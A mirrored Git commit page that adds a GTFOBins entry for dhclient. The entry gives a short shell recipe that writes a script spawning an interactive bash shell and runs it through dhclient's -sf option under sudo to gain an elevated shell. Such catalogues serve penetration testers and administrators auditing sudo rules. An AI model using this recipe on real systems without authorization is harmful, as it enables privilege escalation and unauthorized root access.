mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Create dhclient.md
This commit is contained in:
parent
b724cd9bc1
commit
9bd407370e
12
_gtfobins/dhclient.md
Normal file
12
_gtfobins/dhclient.md
Normal file
@ -0,0 +1,12 @@
|
||||
---
|
||||
functions:
|
||||
sudo:
|
||||
- description: The below technique utilizies `dhclient`'s script file option (`-sf`) to execute arbitrary commands with `sudo`.
|
||||
code: |
|
||||
cat > /tmp/script.sh << EOF
|
||||
#!/bin/bash
|
||||
bash -i
|
||||
EOF
|
||||
chmod +x /tmp/script.sh
|
||||
sudo dhclient -sf /tmp/script.sh
|
||||
---
|
Loading…
Reference in New Issue
Block a user